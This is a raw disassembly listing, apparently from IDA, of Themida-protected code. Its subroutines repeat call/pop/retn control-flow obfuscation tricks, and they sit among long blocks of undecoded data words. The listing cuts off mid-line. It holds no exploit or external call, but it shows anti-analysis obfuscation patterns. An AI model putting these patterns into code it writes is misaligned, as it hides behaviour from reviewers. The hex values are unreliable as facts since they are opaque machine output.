Themida_:005BB6A3p mov [ebp+61334BDh], edi push eax pop edi pop edi mov eax, ecx push 0 push ebx call sub_5BB6CE and [ebx-3Dh], bl sub_5BB6B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5BB6CE proc near ; CODE XREF: sub_5BB6B8+Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx loc_5BB6D3: ; CODE XREF: Themida_:005BB66Bj add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5BB6CE endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0E972h dd 0Ah, 2D35B1B1h, 2366A036h, 4EB7CBDh, 0 ; --------------------------------------------------------------------------- mov edi, [ebp+61310E9h] mov edi, ecx push 0 push edi call sub_5BB707 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB707 proc near ; CODE XREF: Themida_:005BB6FFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5BB707 endp ; --------------------------------------------------------------------------- db 6Fh dd 0E4E801DEh, 3880F7Ah, 0F000000h, 858DF0BFh, 6131EA9h dd 15E59D31h, 0BE90613h, 53000000h, 76DF5AF0h, 0DB34538Ah dd 509030C2h, 185CBF52h, 310F5F2Dh, 5AFA8B66h, 0E9905058h dd 8, 2458401Eh, 4E2D1D60h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 9589CFC3h dd 613232Dh, 1CC9BD89h, 6A0613h, 0FDAAB2BFh, 0CF858D4Bh dd 8B0616F5h, 1334E1BDh, 61BD8B06h, 83061309h, 0B53105C0h dd 6132835h, 3A94BF57h, 505F139Eh, 2519BF66h, 6A240489h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0FE921h, 536F0000h, 0AC44508Bh, 0B0CF308h dd 80C98B2Ah, 6A006A84h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 58AFC357h, 0EFBA9FDDh dd 113DBD89h, 0E9600613h, 9, 96978E7Ch, 63CB4D0Dh, 0D0BF0FE9h dd 0F195FF61h, 6A061307h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 917DC357h, 33BBDFB5h dd 4BBF6652h, 9D8D5FDDh, 616A36Ah, 68F0Fh, 0BD8B0000h dd 61316EDh, 6AD3FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0FFDAA8C3h, 1316D985h, 6840F06h dd 29000000h, 132CD9B5h, 8B4E906h, 0E80000h, 5D000000h dd 0F5D9ED81h, 0BD030616h, 61311D9h, 0B21BD81h, 7D00613h dd 860F0000h, 185h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 2AC35747h, 80603DF6h, 61F539F7h, 0E472EF81h dd 9D8B0D4Ah, 6131111h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0C6C35242h, 2FE84259h, 0C8A27C08h, 0E381C3h dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 3830C351h, 8B5B3A69h, 130521BDh dd 0FDB0B06h, 0B085h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0E9F78B5Bh, 5, 73F78E9Ch dd 26BD831Fh, 616F4h, 3A840Fh, 0C6810000h, 7CD59D4h, 2A258D89h dd 75E90613h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0A404C356h, 33E2184Fh dd 99BD8B51h, 5F06132Ah, 0F42685C7h, 10616h, 810F0000h dd 0Ah, 4890Fh, 0BF660000h, 2DE9E5E9h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 3650C352h, 0F28B6650h, 2685C75Fh, 616F4h, 0F9000000h dd 11119D8Dh, 81500613h, 1D6623D6h, 23815F24h, 0FFFFFEFFh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 75C35040h dd 27B378Ch, 0E341C0DBh, 8BF98B8Dh, 1314E1BDh, 0DB8C6606h dd 2BA1BD03h, 0C3F60613h, 69840F04h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0E644C352h, 0D70167CDh, 0FFFE3558h, 13211195h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0CCDF7060h, 9D31A288h, 6131B79h, 0F78B5690h, 850F505Fh dd 6, 6076B660h, 0BF906161h, 665CE412h, 490E9h, 9B58B00h dd 0B0061305h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0D59978FFh, 6A70E643h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 6A5DC356h, 8EF4FE44h, 0FBCD83Fh, 71E4F6BFh dd 1119B58Bh, 0B60F0613h, 55006AD8h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0F79B8F2Eh dd 0E45800F6h, 6BABDAAh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E110C356h dd 5AA43191h, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 5C6AC5C3h, 14E9h, 93543700h, 0AA59DEF7h dd 39BC6D50h, 0B92185E4h, 0C1532D40h, 0C28B60FDh, 61FBB70Fh dd 304E8C1h, 131335B5h, 1BD8B06h, 66061315h, 0BE9E2F7h dd 0AB000000h, 6BB97AE6h, 7E41753Ah, 0D82BB119h, 1BA19D89h dd 52500613h, 0AE8h, 8916A900h, 75C08F4Dh, 5E2A7BDFh, 241C895Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 10C35242h dd 89B0236Bh, 1334B18Dh, 21B5FF06h, 6A06130Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0B42DC352h, 9E945DCh, 0E0000000h, 0F40931DCh, 0FD880D33h dd 0DA995FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 6BF776C3h, 6035B2C8h, 13F5BD8Bh dd 0B00613h, 0EE8h, 57EE2300h, 48A5C651h, 3E7FD5EDh, 5EE5A157h dd 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0E952A1C3h, 0Ah, 404A42B3h, 16E5B4D4h, 0E45E987Dh dd 1DB58971h, 3C06131Bh, 8E830F61h, 6A000002h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 8EBAC356h, 0B8295E25h, 0DE81666Ah, 0B60F1DA2h, 98589D8h dd 0BA061307h, 6, 4C68160h, 2B38E28Ch, 1300D995h, 0C38B6106h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 68C35242h dd 0B50B3B52h, 61306C9h, 8E26D781h, 0E8C15FEBh, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0EC0373BBh, 0DF816A20h, 33CB5225h, 66E2F766h, 89E6A0BFh dd 1311619Dh, 6AD82B06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 9290C353h, 38FFA8DAh dd 58F0B70Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0D6C35646h, 0F3816019h, 3CF85228h, 6850Fh, 8E0F0000h dd 0 ; --------------------------------------------------------------------------- popa sub ebx, eax js loc_5BBF55 adc si, 6079h mov ecx, 7 push 0 push edx call sub_5BBDE2 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBDE2 proc near ; CODE XREF: Themida_:005BBDDAp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5BBDE2 endp ; --------------------------------------------------------------------------- inc ebp mov edi, [ebp+61312ADh] add ecx, 0 push 0 push esi call sub_5BBE07 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBE07 proc near ; CODE XREF: Themida_:005BBDFFp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5BBE07 endp ; --------------------------------------------------------------------------- sbb [ecx-10h], edi add [edx+1E65BD29h], dl adc eax, [esi] mov si, di cmp ebx, ecx jbe loc_5BBF55 push 0 push edx call sub_5BBE38 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBE38 proc near ; CODE XREF: Themida_:005BBE30p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5BBE38 endp ; --------------------------------------------------------------------------- xor esi, [esi] sahf push ebx enter 0FFFF816Ah, 0Eh jmp loc_5BBE69 ; --------------------------------------------------------------------------- db 0AFh, 6, 2Dh dd 0DF13CA89h, 289A9349h, 9EA5C46Dh, 0F021AAC0h ; --------------------------------------------------------------------------- pop eax loc_5BBE69: ; CODE XREF: Themida_:005BBE50j mov cx, ds mov esi, 1E1B8560h xor edi, 520444A4h test cl, 4 jz loc_5BBF36 push 0 push edi call sub_5BBE8B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBE8B proc near ; CODE XREF: Themida_:005BBE83p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5BBE8B endp ; --------------------------------------------------------------------------- mov cl, 3Ch push edx inc edi dec ebx mov ds:211195FFh, gs adc eax, [esi] pop ebx push 0 push edx call sub_5BBEB4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBEB4 proc near ; CODE XREF: Themida_:005BBEACp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5BBEB4 endp ; --------------------------------------------------------------------------- xchg eax, esi mov ds:0DC5F5EA3h, eax xchg dh, [edx+6AC32Bh] push ebp call sub_5BBED9 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBED9 proc near ; CODE XREF: Themida_:005BBED1p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5BBED9 endp ; --------------------------------------------------------------------------- db 64h, 3Dh, 34h dd 0F000008h, 4186h, 7E800h, 509C0000h, 0D17B7C0Fh, 9D2960ACh dd 6130DD1h, 61C4F580h, 43E95Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 712244C3h dd 5E4FBA7Fh db 53h, 88h ; --------------------------------------------------------------------------- loc_5BBF36: ; CODE XREF: Themida_:005BBE7Aj mov eax, eax push 0 push edi call sub_5BBF43 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBF43 proc near ; CODE XREF: Themida_:005BBF3Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5BBF43 endp ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- inc eax loc_5BBF55: ; CODE XREF: Themida_:005BBDC7j ; Themida_:005BBE27j mov eax, ebx mov ebx, eax mov dword ptr [ebp+61309CDh], 5AFE07DFh push 0 push edx call sub_5BBF6E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBF6E proc near ; CODE XREF: Themida_:005BBF66p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5BBF6E endp ; --------------------------------------------------------------------------- dw 0FD5h dd 1F89h, 13E800h, 0F8920000h, 3D24AE4h, 562A1CBDh, 0E37C5733h dd 53E41F5Eh, 8A0F2Eh, 5F000000h, 0B589C08Bh, 6131415h dd 0B21BD81h, 7D00613h, 850F0000h, 2Dh, 2185FFFCh, 6A06130Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0A968C353h, 5759B5E3h, 608DB812h, 21B5FFF9h dd 6A06130Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0DC43C353h, 0FF01F18Ah, 130DA995h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 23BDF35h, 8B660A1Bh, 6A90F7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 894D29C3h dd 1304FDBDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0AA6E4A78h, 1387A2Fh, 131AC1BDh dd 9A13BE06h, 6A0873h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0E0DB62C3h, 0C731727Dh, 858D292Eh dd 6A061323h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 70DC352h, 65579227h, 6A32B726h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 60A7C356h, 25498D33h, 95890613h, 6130DD9h dd 62D9D89h, 0EB810613h, 59CBEF81h, 0FE96061h, 9A000000h dd 85007989h, 0B4A89935h, 261BDE69h, 0B58B431Dh, 6130DBDh dd 30D8BB66h, 9DBD8B61h, 6006132Fh, 23D78166h, 359D896Ah dd 89061319h, 130FD5BDh, 53E96106h, 2BFFFFF7h, 13307DBDh dd 0C18BFC06h, 0C258589h, 8D290613h, 613299Dh, 4EBh, 8B0F0000h dd 6, 176DBD2Bh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 1E39A6C3h, 0F03E2EFEh dd 0A9858D1Fh, 8B06131Eh, 130DA5B5h, 0C6816606h, 5090197Bh dd 0EE85152h, 0C1000000h, 0B500C90Bh, 0A26B41F8h, 0CE3D1FADh dd 0F5E5F3Eh, 50585A31h, 4E4ABF66h, 7DB58B90h, 6A06130Ah dd 0C98D8900h, 6A06131Ah, 0AD8D8900h, 8D06130Bh, 17003285h dd 0F28B6606h, 5605C083h, 2C058D89h, 905E0613h, 14E9h dd 2297FA00h, 157D5512h, 4B272655h, 5B36162Ch, 0AF2057A7h dd 14E85041h, 0DA000000h, 9FBAAF13h, 30DDBBB1h, 0DE3428ABh dd 46C620F8h, 0E940226Dh, 8, 11758AC8h, 73B89833h, 8B60905Eh dd 91950BC1h, 61061310h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 68CADCC3h, 5FBCAB14h dd 6ABF1DEAh, 870F00h, 0FF000000h, 1307F195h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 2EF322BEh, 0D1910119h, 0BD8B7FEAh, 61323A5h, 0A36A9D8Dh dd 0BF660616h, 0D3FF3C60h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0CFC35747h, 3DB0BE66h, 16D985FFh, 6A0613h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 0D4F58CC3h, 6D8D892Bh, 66061323h, 89C4D681h, 81BE9h dd 0E800h, 815D0000h, 17003CEDh, 0F08B6606h, 0B21BD81h dd 7D00613h, 860F0000h, 16Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 9FC35545h, 6399D8Bh, 6A0613h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 9D8902C3h, 6130F01h, 100E381h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0E5AF44C3h dd 0C70BA7BFh, 0F9BD8B18h, 0B061320h, 0A8850FDBh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0F35AC352h, 0DE9C6h, 0FE720000h, 38D0861Ah dd 0E9786F89h, 835E6934h, 16FE98BDh, 840F0006h, 49h, 0D850360h dd 0F06131Bh, 684h, 0D1B58900h, 61061306h, 81E9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 2ABBD854h, 7A01C09Bh, 81BD8B1Ah, 2306132Bh, 1305B1BDh dd 9885C706h, 10616FEh, 0E9000000h, 8, 0D66AB7EEh, 48F64F42h dd 35E9h, 898D3100h, 0C7061301h, 16FE9885h, 6, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 54725ECCh, 0F7B1A3ECh, 9D8D6BBCh, 6130639h, 8BF28B66h dd 1313C9BDh, 0FF238106h, 9FFFFFEh, 1328C99Dh, 0DB8C6606h dd 13E9h, 7E155C00h, 0AA6A2385h, 5EFB1503h, 1F9DF327h dd 0BE34C82Dh, 0F04C3F6h, 5384h, 9858900h, 0FF06131Eh dd 13211195h, 9BD8B06h, 9006132Dh, 88A0Fh, 800F0000h, 2 dd 9050F28Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0DAC35747h, 59327264h, 17FA4F96h, 830Fh, 0B5330000h dd 61325D9h, 3E9E9h, 580FBE00h, 0B0729Bh, 11E8h, 922C0700h dd 6EE40C3Eh, 0A353C7DCh, 0AFC87E0Eh, 0F98BE959h, 6A70E65Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0C05AC353h, 0DE9CB096h, 7D86B150h, 16218D29h dd 71E40613h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 77C35545h, 4A6B691Bh, 17DF019Fh, 0F18B66A0h, 66D8B60Fh dd 6BAF38Bh, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 23BBC350h, 0E2DE5E80h dd 3F484709h, 8BF88B66h, 50006AC3h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 8E911h, 63880000h, 993E69D4h dd 0E8C14CA3h, 919D0904h, 6606130Fh, 0BD89E2F7h, 61331A9h dd 0BF0FD82Bh, 525093F8h, 8E9935Eh, 0E4000000h, 8B379C97h dd 19C1084h, 1306C59Dh, 21B5FF06h, 106130Bh, 1317199Dh dd 0A995FF06h, 906130Dh, 130545B5h, 6A00B006h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0A022C351h, 0E99C91D2h, 8589E860h, 6131BA1h, 6A70E6h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0A560DCC3h, 60288822h, 0B618D89h, 0AE80613h, 1D000000h dd 3FFD1DB0h, 0C6DFEA31h, 0F0BF0F2Bh, 5FBE6159h, 0E4008F08h dd 3FB66071h, 0E8C9D3BFh, 613C6115h, 24C830Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 2CCDBDC3h, 0B58B1410h, 613015Dh, 0B1C68166h, 0D8B60FDCh dd 14E9h, 0BE9F0100h, 904C4C6h, 0BA0FFE61h, 0A24D1AFFh dd 685F3AFh, 6BADBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 1C73A6C3h, 0FB1D0E00h dd 8B111786h, 0B00BBEC3h, 0E8C11E78h, 57006A04h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0DFA61F50h, 0F69F162h, 8Fh, 0C8C0F00h, 0E9000000h, 7 dd 177FC4CFh, 668EDB40h, 0E856E2F7h, 0Ah, 4AC40B2h, 6A7FA131h dd 8E9B8EEh, 0E1000000h, 53BEA2E2h, 5E180768h, 6AD82B5Fh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0AF12C356h, 205E8AA3h, 10EE4ACh, 131789BDh dd 0B5BD8B06h, 58061321h, 118F0Fh, 8E80000h, 0B8000000h dd 3A3D33A4h, 66170BD7h, 2B5EF08Bh, 23880FD8h, 0B9000001h dd 7, 48C0Fh, 0BE660000h, 0C183C504h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 73BB1FFBh, 3B20EC03h, 0E7860FD9h, 66000000h, 6AD98Ch dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0BF575CC3h, 567A9539h, 0F04C1F6h, 9384h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0C50A113Ah, 84E8A1D0h, 58D0Fh, 81660000h, 0FF9F5ADEh dd 13211195h, 0F9D78106h, 30469DBh, 132559BDh, 0B58B5B06h dd 6130D4Dh, 2BAD9D29h, 0C32B0613h, 13719D89h, 343D0613h dd 0F000008h, 3386h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 6880F30h, 8B000000h, 131B69BDh dd 2CE906h, 85890000h, 6131961h, 0B533C08Bh, 6132FB1h dd 18830Fh, 13E90000h, 81000000h, 33A049FAh, 20DD2BF9h dd 0A6F45635h, 0DE1B36D6h, 0C38BA815h, 0B589D88Bh, 61313FDh dd 111185C7h, 0F91B0613h, 95893DF1h, 6130AA9h, 6AC08Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 226B6C3h, 0BD815F18h, 6130B21h, 7D0h, 34850Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 3E9766C3h, 20BF883Fh, 0D21BD8Bh, 85FF0613h, 6130B21h dd 0D9B58Bh, 0B5FF0613h, 6130B21h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 12C35646h, 0DB9BBFA2h, 95FF6802h dd 6130DA9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0A8C35343h, 0B6730097h, 1CE1B52Bh, 0E9900613h dd 0Ch, 76969EC3h, 96E68FC3h, 289F5B0Eh, 52006AF5h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0E01170B2h, 324DB533h, 0D7810613h, 2460C4E0h, 0E69CBF66h dd 0B8C0Fh, 81660000h, 8BF61FD7h, 1324CDB5h, 0E5858906h dd 0E8061305h, 5, 0E3F93BCCh, 15B52385h, 5F06132Ah, 0E1BF6650h dd 6A5FE7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 1D66AC3h, 13317585h, 7D9D8906h, 6A06131Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0A980C357h, 2318468Bh, 2963214Fh, 131ECD95h dd 99B52B06h, 0F506132Bh, 4D44EBFh, 0CD958972h, 60061324h dd 68A0Fh, 8D090000h, 6131FA5h, 23619D89h, 1FB50613h, 0DD19D89h dd 8B610613h, 130A75BDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 7AC95546h, 27C1DD12h dd 0F81BE97Ch, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0E11D4CC3h, 0ADFB3214h, 9E9h, 80629C00h dd 74549A67h, 9D89CC4Dh, 6133029h, 6AC18Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 55625BC3h dd 59A3D4CDh, 0EB01BB45h, 4, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0FBC84ADAh dd 55006A43h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 80E7EF87h, 6E1AD672h, 1B699589h, 858D0613h dd 6131EA9h, 78D8531h, 0F500613h, 285h, 89F78B00h, 0BE662404h dd 6A2E37h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 68C35545h, 0A0239B6Bh, 3F69A70Dh, 0FABF0FCDh, 11D9BD29h dd 6A0613h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 29C35242h, 0A046E324h, 8B660216h, 19858DF3h, 6A06170Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 833FC355h, 6A05C0h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 8A0FADC3h, 3, 50F98B66h dd 0DA8B6660h, 24048961h, 8A60F18Bh, 51858BD9h, 61061301h dd 0DDBF006Ah, 6A47C939h, 0F195FF00h, 6A061307h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 4FC7C353h, 7921C525h, 0C88A60A8h, 68D0Fh, 0D6810000h dd 37F8D0B5h, 6A9D8D61h, 660616A3h, 0FF3D2CBEh, 55006AD3h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 66F3795Ah, 8D89F78Bh, 6130AF1h, 16D985FFh, 0D4BF0613h dd 0E9488AFAh, 81Dh, 0E8h, 0ED815D00h, 6170A23h, 81F9BF0Fh dd 130B21BDh, 7D006h, 7C860F00h, 6A000001h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E923C352h dd 14h, 3D1BABB1h, 48E8C592h, 5AF950D6h, 96B4EF9Eh, 0EE1E293Ch dd 2CD59D8Bh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 794DFBC3h, 29AD9589h, 0E3810613h dd 100h, 11E98D89h, 0DB0B0613h, 83850Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 651398C3h, 0BCF6CBEAh, 81661EF8h, 838FFAEFh, 17087BBDh dd 840F0006h, 17h, 13B5BD89h, 5EE90613h, 0F000000h, 68Bh dd 9BD0B00h, 0C706130Fh, 17087B85h, 106h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 80185DEAh, 22E9D27Dh, 81000000h, 0A2A8F0E7h, 7B85C760h dd 61708h, 0F000000h, 0C80h, 6800F00h, 2B000000h, 132981B5h dd 0D59D8D06h, 6A06132Ch, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0CDF9C350h, 8E8h, 0FA384B00h dd 8E6E26CAh, 45B53351h, 5E06132Ah, 0FEFF2381h, 6AFFFFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0B72977C3h, 968BD9BFh, 8BFC2CD9h, 8D0FF3h, 66000000h dd 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 6B68C7C3h, 0DA0239Bh, 0BE3F69A7h, 2FAD8B58h dd 0E65B503h, 0C3F60613h, 6B840F04h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0FFEFC353h, 13211195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 59D75859h dd 514DE381h, 5790F8DCh, 7E8505Eh, 61000000h, 1424FC71h dd 830F40B7h, 6, 850Fh, 905F0000h, 0DD1B589h, 0EAE90613h dd 89000003h, 132B4185h, 6A00B006h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 6672C350h dd 0E612D7BEh, 71E4F570h, 1605B533h, 0B60F0613h, 49B58BD8h dd 0BA061317h, 6, 1681BD89h, 0C38B0613h, 0C1FB8B66h, 6A04E8h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0AE2A24C3h, 0F18BC7E1h, 66E2F766h, 2BD985BFh, 52006AD8h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 937B6747h, 0CE860h, 68950000h, 92254A69h, 8DB2705Dh dd 5957C762h, 38E0F59h, 66000000h, 5061FE8Bh, 0BDB52993h dd 0FF06132Eh, 130B21B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0C86F19A4h dd 73FD89E6h, 0C58D291Dh, 0FC06130Dh, 0B61B58Bh, 95FF0613h dd 6130DA9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 40C35040h, 0A0E23F98h, 0D7180A92h, 0A66EBF66h dd 25D1B58Bh, 0B00613h, 10E8h, 49E75E00h, 865CD10Bh, 9D3E0532h dd 0CAFB617Ch, 6840FDDh, 0F000000h, 82h, 70E65F00h, 128A0Fh dd 0DE90000h, 0E9000000h, 0EC70B744h, 55745CFFh, 0CAF145EFh dd 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 35B547C3h, 830F613Ch, 259h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 16h, 0CEC35747h, 88BF9193h dd 66609892h, 0F6AFE781h, 6AD8B60Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 6916C355h dd 97880758h, 68A0Fh, 0B58B0000h, 6131741h, 6BAh, 8BF38B00h dd 5CF781C3h, 0C173169Ah, 6A04E8h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 8B45B6C3h, 130DD1BDh dd 